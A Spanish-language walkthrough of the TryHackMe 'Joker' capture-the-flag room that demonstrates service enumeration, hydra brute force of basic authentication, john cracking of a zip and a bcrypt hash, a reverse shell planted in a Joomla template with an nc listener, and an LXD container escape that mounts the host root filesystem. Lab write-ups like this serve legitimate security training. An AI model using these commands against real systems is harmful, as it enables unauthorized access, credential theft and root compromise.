TryHackMe - Joker CTF
¿Cómo aumentar privilegios mediante contenedores Linux? (LXD)
Introducción
Un desafío muy interesante, fue mi primera vez usando contenedores Linux.
Parece que también tenemos una guía básica sobre los pasos, así que hagamos lo siguiente:
- Enumerar servicios
- Nmap
- Fuerza bruta
- Realizar fuerza bruta en archivos a través de http
- Realizar fuerza bruta en autenticación básica
- Crack de hash
- Realizar fuerza bruta en hash para crackear archivo zip
- Realizar fuerza bruta en hash para crackear usuario mysql
- Explotación
- Obtener una conexión inversa
- Generar un shell TTY
- Escalada de privilegios
- Obtener root aprovechando fallas en LXD
Esta es la metodología que se usa en la mayoría de las máquinas de todos modos, por lo que es bueno tener algunas pautas básicas.
Nmap
Comencemos con el escaneo de nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.204.243
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ad:20:1f:f4:33:1b:00:70:b3:85:cb:87:00:c4:f4:f7 (RSA)
| 256 1b:f9:a8:ec:fd:35:ec:fb:04:d5:ee:2a:a1:7a:4f:78 (ECDSA)
|_ 256 dc:d7:dd:6e:f6:71:1f:8c:2c:2c:a1:34:6d:29:99:20 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HA: Joker
|_http-server-header: Apache/2.4.29 (Ubuntu)
8080/tcp open http Apache httpd 2.4.29
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Please enter the password.
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 401 Unauthorized
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Puertos abiertos:
22/tcp
80/tcp
8080/tcp
Pregunta: ¿Qué versión de Apache es?
Respuesta:
1
2.4.29
Al intentar acceder al puerto 8080/tcp
del sitio web de respaldo, se nos solicitan las credenciales.
Pregunta: ¿Qué puerto de esta máquina no necesita ser autenticado por usuario y contraseña?
Respuesta:
1
80
Reconocimiento
Pregunta: Hay un archivo en este puerto que parece ser secreto. ¿Qué es?
1
2
$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u "http://10.10.204.243/FUZZ" -fl 124 -e .txt
secret.txt [Status: 200, Size: 320, Words: 62, Lines: 7, Duration: 45ms]
Respuesta:
1
secret.txt
Visitemos 10.10.204.243/secret.txt
Parece que tenemos 2 posibles usuarios: joker
y batman
Pregunta: Hay otro archivo que revela información del backend, ¿cuál es?
1
2
3
4
5
6
7
8
9
$ ffuf -w /usr/share/wordlists/dirb/common.txt -u "http://10.10.204.243/FUZZ" -fl 124
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 46ms]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 46ms]
.hta [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 47ms]
css [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 46ms]
img [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 45ms]
index.html [Status: 200, Size: 5954, Words: 783, Lines: 97, Duration: 46ms]
phpinfo.php [Status: 200, Size: 94822, Words: 4697, Lines: 1160, Duration: 144ms]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 45ms]
Respuesta:
1
phpinfo.php
Pregunta: Al leer el archivo secreto nos encontramos con una conversación que parece contener al menos dos usuarios y algunas palabras clave que pueden resultar interesantes, ¿qué usuario crees que sea?
Respuesta:
1
joker
Pregunta: ¿Qué puerto de esta máquina necesita ser autenticado mediante el mecanismo de autenticación básica?
Respuesta:
1
8080
Pregunta: En este punto, tenemos un usuario y una URL que necesita ser autenticada. Usemos la fuerza bruta para obtener la contraseña. ¿Cuál es esa contraseña?
1
hydra -l joker -P /usr/share/wordlists/rockyou.txt -t 20 10.10.204.243 -s 8080 http-get
Respuesta:
1
<CENSORED>
Usemos gobuster
para esto, ya que es más fácil usar credenciales.
1
2
gobuster dir -u http://10.10.204.243:8080 -w /usr/share/wordlists/dirb/common.txt -U joker -P <CENSORED>
/administrator
Respuesta:
1
/administrator/
Rshell
Pregunta: Necesitamos acceder a la administración del sitio para obtener un shell. Hay un archivo de respaldo. ¿Qué es este archivo?
Bueno, nos vemos obligados a usar nikto
ya que no pude encontrar nada a través de gobuster
ni ffuf
1
2
$ nikto -h http://10.10.204.243:8080/ -id joker:<CENSORED>
+ /backup.zip: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
Respuesta:
1
backup.zip
Pregunta: Tenemos el archivo de respaldo y ahora debemos buscar información, por ejemplo, la base de datos, los archivos de configuración, etc. Pero el archivo de respaldo parece estar encriptado. ¿Cuál es la contraseña?
Necesitamos descifrar la contraseña del archivo zip usando john
1
2
3
4
5
6
7
8
9
10
11
12
13
$ zip2john backup.zip > joker.hash
└─$ john joker.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
<CENSORED> (backup.zip)
1g 0:00:00:00 DONE 2/3 (2025-02-26 21:31) 25.00g/s 2258Kp/s 2258Kc/s 2258KC/s 123456..Peter
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Respuesta:
1
<CENSORED>
Pregunta: Recuerde que… Necesitamos acceso a la administración del sitio… Bla, bla, bla. En nuestro nuevo descubrimiento vemos algunos archivos que tienen información comprometedora, ¿quizás la base de datos? ¡Bien, qué pasa si hacemos una restauración de la base de datos! ¡Algunas tablas deben tener algo como user_table! ¿Cuál es el superduper usuario?
Después de verificar el archivo joombadb.sql, podemos ver el superduper usuario
Respuesta:
1
admin
Pregunta: Super Duper User! ¿Cual es la contraseña?
1
2
3
4
5
6
echo '$2y$10$b43UqoH5UpXokj2y9e/8U.LD8T3jEQCuxG2oHzALoJaj9M5unOcbG' > pass.txt
john pass.txt
<CENSORED> (?)
1g 0:00:00:06 DONE 2/3 (2025-02-26 21:35) 0.1481g/s 109.3p/s 109.3c/s 109.3C/s yellow..allison
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Respuesta:
1
<CENSORED>
Acceso inicial
Bueno, después de enumerar un poco, encontré una forma de poner un shell inverso. Extensions > Templates > Templates
Podemos echar un vistazo a Beez3 y podemos ver que podemos editar los archivos php. Coloquemos un shell inverso allí, luego podemos hacer clic en Vista previa de plantilla después de iniciar nuestro oyente local.
1
2
3
4
5
6
7
8
9
10
└─$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.11.75.122] from (UNKNOWN) [10.10.204.243] 32938
Linux ubuntu 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
12:45:34 up 1:09, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Pregunta: En este punto, debe cargar un shell inverso para obtener acceso al shell. ¿Quién es el propietario de esta sesión?
Respuesta:
1
www-data
Pregunta: Este usuario pertenece a un grupo diferente al tuyo. ¿Qué es este grupo?
1
2
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)
Respuesta:
1
lxd
Generar un tty shell
1
python3 -c 'import pty; pty.spawn("/bin/bash")'
Escalada de privilegios
Dado que somos un grupo de lxd
, quiere que usemos contenedores de Linux para escalar privilegios.
Después de investigar un poco, básicamente necesitamos:
- Instalar la máquina lxc alpine en nuestra máquina atacante
- Configurarla correctamente
- Servir como servidor http
- Descargar la imagen de la máquina de destino
- Ejecutar la imagen y navegar por el sistema como root
1
2
3
4
5
6
7
lxc image import ./alpine-v3.11-x86_64-20200227_1750.tar.gz --alias myimage
lxc image list
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
Pregunta: ¿Cuál es el nombre del archivo en el directorio /root?
Respuesta:
1
<CENSORED>.txt